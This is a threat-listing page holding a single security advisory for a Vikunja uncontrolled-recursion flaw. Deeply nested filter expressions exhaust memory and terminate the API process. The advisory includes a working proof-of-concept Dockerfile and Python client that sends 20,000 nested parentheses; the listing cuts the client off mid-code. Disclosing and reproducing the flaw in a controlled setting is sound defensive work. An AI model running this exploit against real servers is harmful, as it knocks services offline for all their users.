Threats Tagged 'ghsa-xxc3-xpmc-vmvr'
1 threat
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| High | 6.5 | EPSS 0.4% | CVE-2026-91968vikunja · Uncontrolled Recursion High6.5EPSS 0.4%CVE Database V5CVE-2026-91968 # Unbounded nested task-filter recursion permits API process termination ## Summary Authenticated task-list routes accept a filter expression without a length or nesting-depth bound, preprocess it, parse it recursively through fexpr, and recursively convert the resulting expression tree. A syntactically valid deeply nested expression well below the HTTP request-size ceiling exhausts memory and kills the API process. ## Impact and affected scope - **Type:** Resource Exhaustion Recursive Parser - **Affected component:** GET /api/v2/projects/{project}/tasks?filter=<nested expression>; Other authenticated task-collection entrypoints that share getTaskFiltersFromFilterString - **Preconditions:** A low-privileged authenticated user supplies thousands of balanced parentheses around a valid task predicate in the filter query parameter. - **Verified revision:** `349cd5adbcc831ef08b08e6c9c6d627603c39606` on 28 August 2026 - **Affected release range:** `= 2.5.0`; broader historical range not established and maintainer confirmation requested A single low-privileged network request can terminate the API process and deny service to all users. ## Technical details The server preprocesses and recursively parses/traverses an unbounded filter expression without rejecting excessive length or depth. Attack path: Authenticate, request an accessible project's task collection with 20,000 nested parenthesis pairs around id = 1, and drive parser and expression-tree memory growth until the process is killed. Relevant code: - `pkg/models/task_collection_filter.go:240` - `pkg/models/task_collection_filter.go:268` - `pkg/models/task_collection_filter.go:274` - `pkg/models/task_collection_filter.go:276` - `pkg/models/task_collection_filter.go:295` ## Reproduction Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control. Create `reproduction/Dockerfile`: ```text FROM golang:1.27.0-alpine RUN apk add --no-cache bash build-base ca-certificates python3 tzdata WORKDIR /app COPY . /app RUN chmod +x /app/*.sh 2>/dev/null || true # Target source is supplied only at runtime through /target-repo:ro. # This image contains build dependencies and reproduction helpers, not a clone. ``` Create `reproduction/client.py`: ```python #!/usr/bin/env python3 import json import sys import time import urllib.error import urllib.parse import urllib.request BASE = "http://target:3456" def request(method, path, body=None, token=None, expected=None, timeout=30): raw = None if body is None else json.dumps(body).encode() headers = {"Accept": "application/json"} if body is not None: headers["Content-Type"] = "application/json" if token: headers["Authorization"] = "Bearer " + token req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method) try: with urllib.request.urlopen(req, timeout=timeout) as response: status, data = response.status, response.read() except urllib.error.HTTPError as exc: status, data = exc.code, exc.read() print(f"{method} {path[:160]} -> {status} {data[:200].decode(errors='replace')}", flush=True) if expected is not None and status != expected: raise RuntimeError(f"{method}: got {status}, expected {expected}") return status, json.loads(data.decode()) if data else {} def wait_ready(): for _ in range(240): try: if request("GET", "/api/v1/info")[0] == 200: return except Exception: pass time.sleep(0.25) raise RuntimeError("target did not become ready") def filter_path(project_id, depth): expression = "(" * depth + "id = 1" + ")" * depth path = f"/api/v2/projects/{project_id}/tasks?filter=" + urllib.parse.quote(expression, safe="") print(f"PoC_FILTER_REQUEST depth={depth} target_bytes={len(path)}", flush=True) return path def main(): wait_ready() username, password = "PoC-filter-user", "PoC-password-123!" request("POST", "/api/v2/register", { "username": username, "email": username + "@example.invalid", "password": password, }, expected=201) _, login = request("POST", "/api/v2/login", {"username": username, "password": password}, expected=200) token = login["token"] _, project = request("PUT", "/api/v1/projects", {"title": "PoC filter project"}, token, 201) started = time.monotonic() request("GET", filter_path(project["id"], 1000), token=token, expected=200) print(f"PoC_FILTER_CONTROL=PASS elapsed={time.monotonic() - started:.3f}s", flush=True) try: status, _ = request("GET", filter_path(project["id"], 20000), token=token, timeout=90) raise RuntimeError(f"attack unexpectedly returned HTTP {status}") exc | CVE Database V5 |
Showing 1–1 of 1 result